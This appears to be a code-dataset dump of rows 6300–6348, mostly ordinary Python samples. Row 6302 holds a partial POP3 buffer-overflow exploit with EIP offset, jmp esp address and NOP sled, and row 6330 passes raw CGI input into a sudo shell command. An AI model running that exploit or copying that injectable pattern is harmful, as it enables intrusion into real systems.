index
int64
0
100k
blob_id
stringlengths
40
40
code
stringlengths
7
7.27M
steps
listlengths
1
1.25k
error
bool
2 classes
6,300
29428e9ca4373c9f19d1412046ebe4fc3b1c48e3
#!/usr/bin/python """Source base class. Based on the OpenSocial ActivityStreams REST API: http://opensocial-resources.googlecode.com/svn/spec/2.0.1/Social-API-Server.xml#ActivityStreams-Service """ __author__ = ['Ryan Barrett <activitystreams@ryanb.org>'] import datetime try: import json except ImportError: imp...
[ "#!/usr/bin/python\n\"\"\"Source base class.\n\nBased on the OpenSocial ActivityStreams REST API:\nhttp://opensocial-resources.googlecode.com/svn/spec/2.0.1/Social-API-Server.xml#ActivityStreams-Service \n\"\"\"\n\n__author__ = ['Ryan Barrett <activitystreams@ryanb.org>']\n\nimport datetime\ntry:\n import json\nex...
false
6,301
348676e43e4dfbbe7cd0c0527acb8c613d3d1ebc
#!/usr/bin/env python import sys from static_pipeline import render from static_pipeline.lib import argparse if __name__ == "__main__": """ Use argparse to decide what to do """ # set up arg parsing parser = argparse.ArgumentParser( description='render and rearrange files ' \ ...
[ "#!/usr/bin/env python\nimport sys\nfrom static_pipeline import render\nfrom static_pipeline.lib import argparse\n\nif __name__ == \"__main__\":\n \"\"\" Use argparse to decide what to do\n \"\"\"\n # set up arg parsing\n parser = argparse.ArgumentParser(\n description='render and rearrange f...
true
6,302
280a4e1fb35937bb5a5c604f69337d30a4b956a9
#!/usr/bin/env python2 import socket import struct RHOST = "10.10.10.2" RPORT = 110 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((RHOST, RPORT)) # OFFSETS # EIP 4654 # ESP 342 # EBP 4650 # jmp_esp in slmfc.dll at 5f4a358f jmp_esp = 0x5f4a358f nop_sled = "\x90" * 32 buf_totlen = 5000 offset_srp =...
[ "#!/usr/bin/env python2\n\nimport socket\nimport struct\n\nRHOST = \"10.10.10.2\"\nRPORT = 110\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((RHOST, RPORT))\n\n# OFFSETS\n# EIP 4654\n# ESP 342\n# EBP 4650\n# jmp_esp in slmfc.dll at 5f4a358f\njmp_esp = 0x5f4a358f\nnop_sled = \"\\x90\" * 32\n\nb...
false
6,303
9a6f4f0eac5d9e5b4b92fcb2d66d39df15b3b281
# -*- coding: utf-8 -*- from flask import abort, flash, redirect, render_template, url_for, request from flask_login import current_user, login_required from . import user from .. import db from models import User def check_admin(): """ Prevent non-admins from accessing the page """ if not current_us...
[ "# -*- coding: utf-8 -*-\nfrom flask import abort, flash, redirect, render_template, url_for, request\nfrom flask_login import current_user, login_required\n\nfrom . import user\nfrom .. import db\nfrom models import User\n\n\ndef check_admin():\n \"\"\"\n Prevent non-admins from accessing the page\n \"\"\...
false
6,304
62a86bd33755510f0d71f4920e63be1a3ce8c563
from bs4 import BeautifulSoup import urllib.request import re import math url_header = "http://srh.bankofchina.com/search/whpj/search.jsp?erectDate=2016-01-25&nothing=2016-02-25&pjname=1314" Webpage = urllib.request.urlopen(url_header).read() Webpage=Webpage.decode('UTF-8') # soup = BeautifulSoup(Webpage) print (Webp...
[ "from bs4 import BeautifulSoup\nimport urllib.request\nimport re\nimport math\n\nurl_header = \"http://srh.bankofchina.com/search/whpj/search.jsp?erectDate=2016-01-25&nothing=2016-02-25&pjname=1314\"\nWebpage = urllib.request.urlopen(url_header).read()\nWebpage=Webpage.decode('UTF-8')\n# soup = BeautifulSoup(Webpa...
false
6,305
870de8888c00bbf9290bcc847e2a4fbb823cd4b7
import math import sys from PIL import Image import numpy as np import torch from torch.utils.data import Dataset from sklearn.gaussian_process.kernels import RBF from sklearn.gaussian_process import GaussianProcessRegressor sys.path.append("..") from skssl.utils.helpers import rescale_range __all__ = ["SineDataset...
[ "import math\nimport sys\nfrom PIL import Image\n\nimport numpy as np\nimport torch\nfrom torch.utils.data import Dataset\nfrom sklearn.gaussian_process.kernels import RBF\nfrom sklearn.gaussian_process import GaussianProcessRegressor\n\nsys.path.append(\"..\")\n\nfrom skssl.utils.helpers import rescale_range\n\n__...
false
6,306
ddb139fa3fbfa1218459e3865150465a44a03bea
# Created by Yuexiong Ding # Date: 2018/9/4 # Description:
[ "# Created by Yuexiong Ding\n# Date: 2018/9/4\n# Description: \n\n", "" ]
false
6,307
c7d8a67587a6ca01c23ed922faabbaca8bbaf337
import time import threading lock_a = threading.Lock() lock_b = threading.Lock() def task1(): print('Task 1 is starting...') print('Task 1 is waiting to acquire Lock A') with lock_a: print('Task 1 has acquired Lock A') print('Task 1 is doing some calculations') time.sleep(2) ...
[ "import time\nimport threading\n\n\nlock_a = threading.Lock()\nlock_b = threading.Lock()\n\n\ndef task1():\n print('Task 1 is starting...')\n\n print('Task 1 is waiting to acquire Lock A')\n with lock_a:\n print('Task 1 has acquired Lock A')\n\n print('Task 1 is doing some calculations')\n ...
false
6,308
3a5d55ea5a2f4f6cf7aaf55055593db9f8bb3562
# Generated by Django 3.0.7 on 2020-07-03 11:08 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('descriptor', '0007_auto_20200702_1653'), ] operations = [ migrations.CreateModel( name='Paramet...
[ "# Generated by Django 3.0.7 on 2020-07-03 11:08\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('descriptor', '0007_auto_20200702_1653'),\n ]\n\n operations = [\n migrations.CreateModel(\n ...
false
6,309
bb3cba9847f2318a5043975e4b659265a7442177
#def pizzaTopping(): message1 = "What Pizza do you want?" message = "What type of Pizza topping do you want?" message += "\n Enter 'quit' to stop entering toppings" pizzas = {} while True: pizza = input(message1) topping = input(message) if topping == "quit": break else: pizzas[pi...
[ "#def pizzaTopping():\nmessage1 = \"What Pizza do you want?\"\nmessage = \"What type of Pizza topping do you want?\"\nmessage += \"\\n Enter 'quit' to stop entering toppings\" \n\npizzas = {}\n\n\nwhile True:\n pizza = input(message1)\n topping = input(message)\n\n if topping == \"quit\":\n break\...
false
6,310
a9b7abaaaa811cf12a15def1f2dd21f95bac3d62
from django import forms from django.conf import settings class SurveyFeedback(forms.Form): CHOICES = [('Very Satisfied', 'Very Satisfied'), ('Satisfied', 'Satisfied'), ('Neither', 'Neither'), ('Dissatisfied', 'Dissatisfied'), ('Very Dissatisfied', 'Very Dissatisfied')] radioFeedback = forms.ChoiceField(label=...
[ "from django import forms\nfrom django.conf import settings\n\nclass SurveyFeedback(forms.Form):\n CHOICES = [('Very Satisfied', 'Very Satisfied'), ('Satisfied', 'Satisfied'), ('Neither', 'Neither'), ('Dissatisfied', 'Dissatisfied'), ('Very Dissatisfied', 'Very Dissatisfied')]\n radioFeedback = forms.ChoiceFi...
false
6,311
cca9d91fe20e58f233ccfc4100edb748356ed234
""" Plot funcs Jan, 2018 Rose Yu @Caltech """ import matplotlib.pyplot as plt import seaborn as sns from util.matutil import * from util.batchutil import * def plot_img(): """ plot ground truth (left) and reconstruction (right) showing b/w image data of mnist """ plt.subplot(121) plt.imshow...
[ "\"\"\"\nPlot funcs \nJan, 2018 Rose Yu @Caltech \n\"\"\"\nimport matplotlib.pyplot as plt \nimport seaborn as sns\nfrom util.matutil import *\nfrom util.batchutil import *\n\ndef plot_img():\n \"\"\" \n plot ground truth (left) and reconstruction (right)\n showing b/w image data of mnist\n \"\"\"\n ...
false
6,312
1711f74fae36ba761a7c0d84b95271b4e5043d27
from app import db, session, Node_Base, Column, relationship from datetime import datetime import models import os import json
[ "from app import db, session, Node_Base, Column, relationship\nfrom datetime import datetime\nimport models\nimport os\nimport json\n", "from app import db, session, Node_Base, Column, relationship\nfrom datetime import datetime\nimport models\nimport os\nimport json\n", "<import token>\n" ]
false
6,313
6f3aa4e1309745265bb9d79df5f5a352e54493f9
#!/usr/bin/env python #coding:utf-8 import jieba.analyse as analyse from collections import Counter import time from os import path import jieba import importlib, sys importlib.reload(sys) import csv import pandas as pd from pandas import DataFrame jieba.load_userdict("newdict.txt") d = path.dirname(__fi...
[ "#!/usr/bin/env python\r\n#coding:utf-8\r\nimport jieba.analyse as analyse\r\nfrom collections import Counter\r\nimport time\r\nfrom os import path\r\nimport jieba\r\nimport importlib, sys\r\nimportlib.reload(sys)\r\nimport csv\r\nimport pandas as pd\r\nfrom pandas import DataFrame\r\n\r\njieba.load_userdict(\"newd...
false
6,314
299d13fbcdb75673026db1e3a0352c8b19d453c1
import paho.mqtt.client as paho import RPi.GPIO as GPIO import json, time, math import clearblade from clearblade import auth from clearblade import Client from urlparse import urlparse #Fill init values systemKey = ______ secretKey = ______ userName = _______ userPW = _______ edgeIP = "http://_______:9000" auth = au...
[ "import paho.mqtt.client as paho\nimport RPi.GPIO as GPIO\nimport json, time, math\nimport clearblade\nfrom clearblade import auth\nfrom clearblade import Client\nfrom urlparse import urlparse\n\n#Fill init values\nsystemKey = ______\nsecretKey = ______\nuserName = _______\nuserPW = _______\nedgeIP = \"http://_____...
true
6,315
2c58a9e83f80d437160b87ec64c7631e7a35bf90
import os, pickle, logging, numpy as np from .. import utils as U class CMU_Generator(): def __init__(self, args, dataset_args): self.in_path = dataset_args['cmu_data_path'] self.out_path = '{}/{}'.format(dataset_args['path'], args.dataset) self.actions = ['walking', 'running', '...
[ "import os, pickle, logging, numpy as np\r\n\r\nfrom .. import utils as U\r\n\r\n\r\nclass CMU_Generator():\r\n def __init__(self, args, dataset_args):\r\n self.in_path = dataset_args['cmu_data_path']\r\n self.out_path = '{}/{}'.format(dataset_args['path'], args.dataset)\r\n self.actions = [...
false
6,316
fc2a123f8a86d149af9fc73baa360a029fcde574
""" Unit test for the Supermarket checkout exercise """ import unittest from decimal import * from ShoppingCart import * # Unit tests ----- class ScannerTests(unittest.TestCase): def setUp(self): pricingRulesWithSingleDiscount = { 'Apple': { 1 : '0.50' , 3 : '1.30' }, 'Orange'...
[ "\n\"\"\" Unit test for the Supermarket checkout exercise \"\"\"\n\nimport unittest\nfrom decimal import *\nfrom ShoppingCart import *\n\n# Unit tests -----\n\nclass ScannerTests(unittest.TestCase):\n def setUp(self):\n\n pricingRulesWithSingleDiscount = { 'Apple': { 1 : '0.50' , 3 : '1.30' },\n ...
false
6,317
23f0ba622097eb4065337ea77ea8104a610d6857
import os import sys sys.path.append("..") import numpy as np import pandas as pd import matplotlib.pyplot as plt from sklearn.linear_model import Ridge from sklearn.model_selection import train_test_split, StratifiedKFold from sklearn.metrics import accuracy_score import config from mikasa.common import timer fro...
[ "import os\nimport sys\n\nsys.path.append(\"..\")\n\nimport numpy as np\nimport pandas as pd\n\nimport matplotlib.pyplot as plt\n\nfrom sklearn.linear_model import Ridge\nfrom sklearn.model_selection import train_test_split, StratifiedKFold\nfrom sklearn.metrics import accuracy_score\n\nimport config\nfrom mikasa.c...
false
6,318
080aa8b99cdded7a947880a1c3399f68b28ae44d
""" Sprites - animations for objects. """ import config import os import pygame class Sheet(object): """ An single large image composed of smaller images used for sprite animations. All the sprites on the sheet must be the same size. The width x height give the sprite dimensions in pixels. The rows x colu...
[ "\"\"\"\nSprites - animations for objects.\n\"\"\"\nimport config\nimport os\nimport pygame\n\n\nclass Sheet(object):\n \"\"\" An single large image composed of smaller images used for sprite\n animations. All the sprites on the sheet must be the same size. The width x\n height give the sprite dimensions i...
false
6,319
cd1d8a73b6958775a212d80b50de74f4b4de18bf
import requests from lxml import etree from pymongo import MongoClient from lib.rabbitmq import Rabbit from lib.log import LogHandler from lib.proxy_iterator import Proxies import yaml import json import datetime import re import time setting = yaml.load(open('config_local.yaml')) log = LogHandler('article_consumer')...
[ "import requests\nfrom lxml import etree\nfrom pymongo import MongoClient\nfrom lib.rabbitmq import Rabbit\nfrom lib.log import LogHandler\nfrom lib.proxy_iterator import Proxies\nimport yaml\nimport json\nimport datetime\nimport re\nimport time\n\n\nsetting = yaml.load(open('config_local.yaml'))\nlog = LogHandler(...
false
6,320
f3eed00a58491f36778b3a710d2f46be093d6eda
from migen import * from migen.fhdl import verilog class Alignment_Corrector(Module): def __init__(self): self.din=din=Signal(32) self.aligned=aligned=Signal() self.dout=dout=Signal(32) self.correction_done=Signal() # # # first_half=Signal(16) first_half1=Signal(16) second_half=Signal(16) self.submo...
[ "from migen import *\nfrom migen.fhdl import verilog\n\nclass Alignment_Corrector(Module):\n\tdef __init__(self):\n\t\tself.din=din=Signal(32)\n\t\tself.aligned=aligned=Signal()\n\t\tself.dout=dout=Signal(32)\n\t\tself.correction_done=Signal()\n\t\t#\t#\t#\n\t\tfirst_half=Signal(16)\n\t\tfirst_half1=Signal(16)\n\t\...
false
6,321
45f0a7a78184195a593061d863ff2114abe01a46
""" ConstantsCommands.py """ TEST_HEAD = "\n >>>>>> " \ "\n >>>>>> Test in progress: {0}" \ "\n >>>>>>" TEST_TAIL = ">>>>>> Test execution done, tearDown\n\r"
[ "\"\"\"\nConstantsCommands.py\n\"\"\"\n\nTEST_HEAD = \"\\n >>>>>> \" \\\n \"\\n >>>>>> Test in progress: {0}\" \\\n \"\\n >>>>>>\"\n\nTEST_TAIL = \">>>>>> Test execution done, tearDown\\n\\r\"\n", "<docstring token>\nTEST_HEAD = \"\"\"\n >>>>>> \n >>>>>> Test in progress: {0}\n >>>>>>\"\"\"\...
false
6,322
516d9790f40c021d45302948b7fba0cf3e00da0a
# -*- coding: utf-8 -*- """ Created on Tue Sep 15 10:28:04 2020 @author: Maxi """ import numpy as np from ase.io import read from RDF_3D import pairCorrelationFunction_3D import matplotlib.pyplot as plt filename = r"C:\Users\Maxi\Desktop\t\Ag_HfO2_cat_3.125_222_t.cif" crystal = read(filename) corrdinates = cryst...
[ "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 15 10:28:04 2020\n\n@author: Maxi\n\"\"\"\nimport numpy as np\nfrom ase.io import read\nfrom RDF_3D import pairCorrelationFunction_3D\nimport matplotlib.pyplot as plt\n \n\nfilename = r\"C:\\Users\\Maxi\\Desktop\\t\\Ag_HfO2_cat_3.125_222_t.cif\"\ncrystal = rea...
false
6,323
ccf9c389a65d1420e87deec2100e37bccdcb5539
#encoding:utf-8 from flask import Flask import config from flask_rabbitmq import Queue, RabbitMQ app = Flask(__name__) app.config.from_object(config) queue = Queue() mq = RabbitMQ(app, queue) from app import demo
[ "#encoding:utf-8\nfrom flask import Flask\nimport config\nfrom flask_rabbitmq import Queue, RabbitMQ\n\napp = Flask(__name__)\napp.config.from_object(config)\n\nqueue = Queue()\nmq = RabbitMQ(app, queue)\n\nfrom app import demo\n", "from flask import Flask\nimport config\nfrom flask_rabbitmq import Queue, RabbitM...
false
6,324
59376f6565cd72e20087609253a41c04c6327a27
# encoding:UTF-8 # 题目:斐波那契数列。 def fib(n): if n==1 or n==2: return 1 return fib(n-1)+fib(n-2) print (fib(10))
[ "# encoding:UTF-8\n# 题目:斐波那契数列。\ndef fib(n):\n\tif n==1 or n==2:\n\t\treturn 1\n\treturn fib(n-1)+fib(n-2)\nprint (fib(10))\n\n", "def fib(n):\n if n == 1 or n == 2:\n return 1\n return fib(n - 1) + fib(n - 2)\n\n\nprint(fib(10))\n", "def fib(n):\n if n == 1 or n == 2:\n return 1\n ret...
false
6,325
5723e7889663142832a8131bb5f4c35d29692a49
from . import * from rest_framework import permissions from core.serializers import CategorySerializer from core.models.category_model import Category class CategoryViewSet(viewsets.ModelViewSet): serializer_class = CategorySerializer queryset = Category.objects.all() def get_permissions(self): ...
[ "from . import *\nfrom rest_framework import permissions\n\nfrom core.serializers import CategorySerializer\nfrom core.models.category_model import Category\n\n\nclass CategoryViewSet(viewsets.ModelViewSet):\n serializer_class = CategorySerializer\n queryset = Category.objects.all()\n\n def get_permissions...
false
6,326
7a2ac3a3a2bbd7349e8cc62b4d357394d9600cc8
#! /usr/bin/env python def get_case(str_arg): first_life_and_work(str_arg) print('small_hand') def first_life_and_work(str_arg): print(str_arg) if __name__ == '__main__': get_case('thing')
[ "\n#! /usr/bin/env python\n\ndef get_case(str_arg):\n first_life_and_work(str_arg)\n print('small_hand')\n\ndef first_life_and_work(str_arg):\n print(str_arg)\n\nif __name__ == '__main__':\n get_case('thing')\n", "def get_case(str_arg):\n first_life_and_work(str_arg)\n print('small_hand')\n\n\nd...
false
6,327
d9156e240d49e0a6570a5bc2315f95a7a670fd4f
##### # Created on Oct 15 13:13:11 2019 # # @author: inesverissimo # # Do pRF fit on median run, make iterative fit and save outputs #### import os # issue with tensorflow, try this suggestion #NUM_PARALLEL_EXEC_UNITS = 16 #os.environ['OMP_NUM_THREADS'] = str(NUM_PARALLEL_EXEC_UNITS) #os.environ["KMP_AFFINI...
[ "\n#####\n# Created on Oct 15 13:13:11 2019\n#\n# @author: inesverissimo\n#\n# Do pRF fit on median run, make iterative fit and save outputs\n####\n\nimport os\n\n# issue with tensorflow, try this suggestion\n#NUM_PARALLEL_EXEC_UNITS = 16\n#os.environ['OMP_NUM_THREADS'] = str(NUM_PARALLEL_EXEC_UNITS)\n#os....
false
6,328
77ea670b537e9ff7082aeb9ed54b011fa8e3a035
from django.contrib import admin from employees.models import Leave,EmployeeProfile admin.site.register(Leave) admin.site.register(EmployeeProfile) # Register your models here.
[ "from django.contrib import admin\r\nfrom employees.models import Leave,EmployeeProfile\r\n\r\nadmin.site.register(Leave)\r\nadmin.site.register(EmployeeProfile)\r\n# Register your models here.\r\n", "from django.contrib import admin\nfrom employees.models import Leave, EmployeeProfile\nadmin.site.register(Leave)...
false
6,329
6b2a9e8c6e95f52e9ebf999b81f9170fc669cce4
import os import time import requests from dotenv import load_dotenv from twilio.rest import Client load_dotenv() BASE_URL = 'https://api.vk.com/method/users.get' def get_status(user_id): params = { 'user_ids': user_id, 'V': os.getenv('API_V'), 'access_token': os.getenv('ACCESS_TOKEN'),...
[ "import os\nimport time\n\nimport requests\nfrom dotenv import load_dotenv\nfrom twilio.rest import Client\n\nload_dotenv()\n\nBASE_URL = 'https://api.vk.com/method/users.get'\n\n\ndef get_status(user_id):\n params = {\n 'user_ids': user_id,\n 'V': os.getenv('API_V'),\n 'access_token': os.ge...
false
6,330
1d2dae7f1d937bdd9a6044b23f8f1897e61dac23
#!/usr/bin/python3 print("content-type: text/html") print() import subprocess import cgi form=cgi.FieldStorage() osname=form.getvalue("x") command="sudo docker stop {}".format(osname) output=subprocess.getstatusoutput(command) status=output[0] info=output[1] if status==0: print("{} OS is stopped succesfully....".form...
[ "#!/usr/bin/python3\nprint(\"content-type: text/html\")\nprint()\nimport subprocess\nimport cgi\nform=cgi.FieldStorage()\nosname=form.getvalue(\"x\")\ncommand=\"sudo docker stop {}\".format(osname)\noutput=subprocess.getstatusoutput(command)\nstatus=output[0]\ninfo=output[1]\nif status==0:\n print(\"{} OS is stopp...
false
6,331
be9179b33991ba743e6e6b7d5dd4dc85ffc09fc3
""" util - other functions """ import torch import numpy as np from common_labelme import Config from torch.autograd import Variable I = torch.FloatTensor(np.eye(Config.batch_size),) E = torch.FloatTensor(np.ones((Config.batch_size, Config.batch_size))) normalize_1 = Config.batch_size normalize_2 = Config.batch_size *...
[ "\"\"\"\nutil - other functions\n\"\"\"\nimport torch\nimport numpy as np\nfrom common_labelme import Config\nfrom torch.autograd import Variable\n\nI = torch.FloatTensor(np.eye(Config.batch_size),)\nE = torch.FloatTensor(np.ones((Config.batch_size, Config.batch_size)))\nnormalize_1 = Config.batch_size\nnormalize_2...
false
6,332
5a50ca64810c391231a00c6bfe5ae925ffe5ca7d
from utilidades import moeda p = float(input('Digite o preço: R$')) print(f'Metade de {moeda.moeda(p)} é {moeda.metade(p, show=True)}') print(f'O dobro de {moeda.moeda(p)} é {moeda.dobro(p, show=True)}') print(f'Aumentando 10%, temos {moeda.aumentar(p, 10, show=True)}') print(f'Reduzindo 13%, temos {moeda.diminuir(p, ...
[ "from utilidades import moeda\n\np = float(input('Digite o preço: R$'))\nprint(f'Metade de {moeda.moeda(p)} é {moeda.metade(p, show=True)}')\nprint(f'O dobro de {moeda.moeda(p)} é {moeda.dobro(p, show=True)}')\nprint(f'Aumentando 10%, temos {moeda.aumentar(p, 10, show=True)}')\nprint(f'Reduzindo 13%, temos {moeda.d...
false
6,333
5ebc4f61810f007fd345b52531f7f4318820b9c8
from marshmallow import fields, post_load from rebase.common.schema import RebaseSchema, SecureNestedField from rebase.views.bid_limit import BidLimitSchema class TicketSetSchema(RebaseSchema): id = fields.Integer() bid_limits = SecureNestedField(BidLimitSchema, exclude=('ticket_set',), only=('id',...
[ "from marshmallow import fields, post_load\n\nfrom rebase.common.schema import RebaseSchema, SecureNestedField\nfrom rebase.views.bid_limit import BidLimitSchema\n\n\nclass TicketSetSchema(RebaseSchema):\n id = fields.Integer()\n bid_limits = SecureNestedField(BidLimitSchema, exclude=('ticket_set',)...
false
6,334
2f96e58a825744ae6baafd1bfb936210500f0fd0
#!/usr/bin/env python3 from aws_cdk import core import os from ec2_ialb_aga_custom_r53.network_stack import NetworkingStack from ec2_ialb_aga_custom_r53.aga_stack import AgaStack from ec2_ialb_aga_custom_r53.alb_stack import ALBStack from ec2_ialb_aga_custom_r53.certs_stack import CertsStack from ec2_ialb_aga_custom_...
[ "#!/usr/bin/env python3\n\nfrom aws_cdk import core\nimport os\n\nfrom ec2_ialb_aga_custom_r53.network_stack import NetworkingStack\nfrom ec2_ialb_aga_custom_r53.aga_stack import AgaStack\nfrom ec2_ialb_aga_custom_r53.alb_stack import ALBStack\nfrom ec2_ialb_aga_custom_r53.certs_stack import CertsStack\nfrom ec2_ia...
false
6,335
b6898b923e286c66673df1e07105adf789c3151c
from objet import Objet class Piece(Objet): """ Représente une piece qui permet d'acheter dans la boutique """ def ramasser(self, joueur): joueur.addPiece() def depenser(self,joueur): joueur.depenserPiece() def description(self): return "Vous avez trouvé une piece...
[ "from objet import Objet\n\nclass Piece(Objet):\n \"\"\" Représente une piece qui permet d'acheter dans la boutique \"\"\"\n \n def ramasser(self, joueur):\n joueur.addPiece()\n\n def depenser(self,joueur):\n joueur.depenserPiece()\n \n def description(self):\n return \"Vo...
false
6,336
c70df1fab0db6f71d22a23836b11d66879879656
from django.db import models from django.contrib.contenttypes.models import ContentType from widgy.generic import ProxyGenericForeignKey, ProxyGenericRelation from django.contrib.contenttypes.generic import GenericForeignKey, GenericRelation class Base(models.Model): content_type = models.ForeignKey(ContentType)...
[ "from django.db import models\nfrom django.contrib.contenttypes.models import ContentType\n\nfrom widgy.generic import ProxyGenericForeignKey, ProxyGenericRelation\nfrom django.contrib.contenttypes.generic import GenericForeignKey, GenericRelation\n\n\nclass Base(models.Model):\n content_type = models.ForeignKey...
false
6,337
cba12d076ed8cba84501983fda9bdce8312f2618
# -*- coding: utf-8 -*- import scrapy from scrapy.linkextractors import LinkExtractor from scrapy.spiders import CrawlSpider, Rule class ItemCrawlSpider(CrawlSpider): name = 'auction_crwal' allowed_domains = ['itempage3.auction.co.kr'] def __init__(self, keyword=None, *args, **kwargs): super(Item...
[ "# -*- coding: utf-8 -*-\nimport scrapy\nfrom scrapy.linkextractors import LinkExtractor\nfrom scrapy.spiders import CrawlSpider, Rule\n\n\nclass ItemCrawlSpider(CrawlSpider):\n name = 'auction_crwal'\n allowed_domains = ['itempage3.auction.co.kr']\n\n def __init__(self, keyword=None, *args, **kwargs):\n ...
false
6,338
b36f3ffed888edaa7716f712f1549dc205799caf
# Generated by Django 3.0.5 on 2020-04-25 15:35 from django.db import migrations, models import lots.models class Migration(migrations.Migration): dependencies = [ ('lots', '0012_auto_20200425_1720'), ] operations = [ migrations.AlterField( model_name='lots', nam...
[ "# Generated by Django 3.0.5 on 2020-04-25 15:35\n\nfrom django.db import migrations, models\nimport lots.models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('lots', '0012_auto_20200425_1720'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='lot...
false
6,339
03147de944c4f75417006a5087e75354dba644ec
import sys sys.path.append("..") from packages import bitso as BS from packages import account as ACCOUNT from packages import currency_pair as CP account=ACCOUNT.Account('577e4a03-540f9610-f686d434-qz5c4v5b6n','dd7b02f5-c286e9d4-f2cc78c3-bfab3') bs=BS.Bitso(account) currency_pair=CP.CurrencyPair('btc','xmn') depth=b...
[ "import sys\nsys.path.append(\"..\")\nfrom packages import bitso as BS\nfrom packages import account as ACCOUNT\nfrom packages import currency_pair as CP\n\naccount=ACCOUNT.Account('577e4a03-540f9610-f686d434-qz5c4v5b6n','dd7b02f5-c286e9d4-f2cc78c3-bfab3')\nbs=BS.Bitso(account)\n\ncurrency_pair=CP.CurrencyPair('btc...
false
6,340
49b295c3e323695779eb32181193ef88b678b34d
from fastapi import APIRouter, Depends from fastapi.responses import RedirectResponse import app.setting as setting from app.dependencies import get_project_by_prefix from app.entities.project import Project router = APIRouter( prefix="/go", ) @router.get("/{prefix_id}") def redirect_to_board(project: Project ...
[ "from fastapi import APIRouter, Depends\nfrom fastapi.responses import RedirectResponse\n\nimport app.setting as setting\nfrom app.dependencies import get_project_by_prefix\nfrom app.entities.project import Project\n\n\nrouter = APIRouter(\n prefix=\"/go\",\n)\n\n\n@router.get(\"/{prefix_id}\")\ndef redirect_to_...
false
6,341
c025fccad9d37dff4db3a10455cbe7d92917d8f6
#!/usr/bin/env python __author__ = 'greghines' import numpy as np import matplotlib.pyplot as plt import csv import sys import os import pymongo import matplotlib.cbook as cbook import cPickle as pickle sys.path.append("/home/greg/github/pyIBCC/python") import ibcc client = pymongo.MongoClient() db = client['condor...
[ "#!/usr/bin/env python\n__author__ = 'greghines'\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport csv\nimport sys\nimport os\nimport pymongo\nimport matplotlib.cbook as cbook\nimport cPickle as pickle\n\nsys.path.append(\"/home/greg/github/pyIBCC/python\")\nimport ibcc\n\n\n\nclient = pymongo.MongoClien...
true
6,342
2b23237e697cb4ca8f1013d7be343c70fba9541d
import random class Madlib: ''' This class generates the madlib from word lists. ''' def get_madlib(self): madlib = """ Once there was a {0}. It {1} at the {2}. Then because of its {3} it {4}. Wow! You sure are {5}! Thanks! I {6} you very much. """ nouns...
[ "import random\n\n\nclass Madlib:\n '''\n This class generates the madlib from word lists.\n '''\n def get_madlib(self):\n madlib = \"\"\"\n Once there was a {0}. It {1} at the {2}.\n Then because of its {3} it {4}. Wow! You sure are {5}!\n Thanks! I {6} you very much.\n ...
false
6,343
d6fa3039c0987bf556c5bd78b66eb43543fd00fe
from fastapi import FastAPI from pydantic import BaseModel from typing import List, Optional from joblib import load app = FastAPI() clf = load("model.joblib") class PredictionRequest(BaseModel): feature_vector: List[float] score: Optional[bool] = False @app.post("/prediction") def predict(req: PredictionReq...
[ "from fastapi import FastAPI\nfrom pydantic import BaseModel\nfrom typing import List, Optional\nfrom joblib import load\n\napp = FastAPI()\nclf = load(\"model.joblib\")\n\nclass PredictionRequest(BaseModel):\n feature_vector: List[float]\n score: Optional[bool] = False\n\n@app.post(\"/prediction\")\ndef pred...
false
6,344
1af73c0ca38ea32119f622dc14741c0bb0aa08fd
# 001. 웹 서버에 요청하고 응답받기 # 학습 내용 : 웹 서버에 접속하여 웹 페이지 정보를 요청하고 서버로부터 응답 객체를 받는 과정을 이해한다. # 힌트 내용 : requests 모듈의 get() 함수에 접속하려는 웹 페이지의 주소(URL)를 입력한다. import requests url = "https://www.python.org/" resp = requests.get(url) print(resp) # 200, 정상 동작 url2 = "https://www.python.org/1" resp2 = requests.get(url2) print(resp2)...
[ "# 001. 웹 서버에 요청하고 응답받기\n# 학습 내용 : 웹 서버에 접속하여 웹 페이지 정보를 요청하고 서버로부터 응답 객체를 받는 과정을 이해한다.\n# 힌트 내용 : requests 모듈의 get() 함수에 접속하려는 웹 페이지의 주소(URL)를 입력한다.\n\nimport requests\n\nurl = \"https://www.python.org/\"\nresp = requests.get(url)\nprint(resp) # 200, 정상 동작\n\nurl2 = \"https://www.python.org/1\"\nresp2 = requests.ge...
false
6,345
991c361043eb1539a80b5e8e1db44bc365e7e639
#!/usr/bin/env/ python # -*- coding:utf-8 -*- # Created by: Vanish # Created on: 2019/9/25 import numpy as np from scipy import optimize def sigmoid(z): return 1 / (1 + np.exp(-z)) def costReg(theta, X, y, lamda): theta = np.matrix(theta) X = np.matrix(X) y = np.matrix(y) first = np.multip...
[ "#!/usr/bin/env/ python\n# -*- coding:utf-8 -*-\n# Created by: Vanish\n# Created on: 2019/9/25\n\n\nimport numpy as np\nfrom scipy import optimize\n\n\ndef sigmoid(z):\n return 1 / (1 + np.exp(-z))\n\ndef costReg(theta, X, y, lamda):\n theta = np.matrix(theta)\n X = np.matrix(X)\n y = np.matrix(y)\n...
false
6,346
25434fccff4401df2cebc9b0c4d0231f056b4e81
def sumIntervals(input): interval = set() if len(input) > 0: for data in input: if len(data) == 2 and data[0] < data[1]: for i in range(data[0], data[1]): interval.add(i) else: return 1 return len(interval) else: ...
[ "def sumIntervals(input):\n interval = set()\n if len(input) > 0:\n for data in input:\n if len(data) == 2 and data[0] < data[1]:\n for i in range(data[0], data[1]):\n interval.add(i)\n else:\n return 1\n return len(interval)...
false
6,347
a699b43c57c315967a6d1881d7012fee4a93607b
N = int(input()) l = [] for n in range(N): x = int(input()) l.append(x) l.sort() print(*l, sep='\n')
[ "N = int(input())\nl = []\nfor n in range(N):\n x = int(input())\n l.append(x)\nl.sort()\nprint(*l, sep='\\n')", "N = int(input())\nl = []\nfor n in range(N):\n x = int(input())\n l.append(x)\nl.sort()\nprint(*l, sep='\\n')\n", "<assignment token>\nfor n in range(N):\n x = int(input())\n l.app...
false
6,348
618a8430d50aeca1c4b9c3fba975be342cc1893f
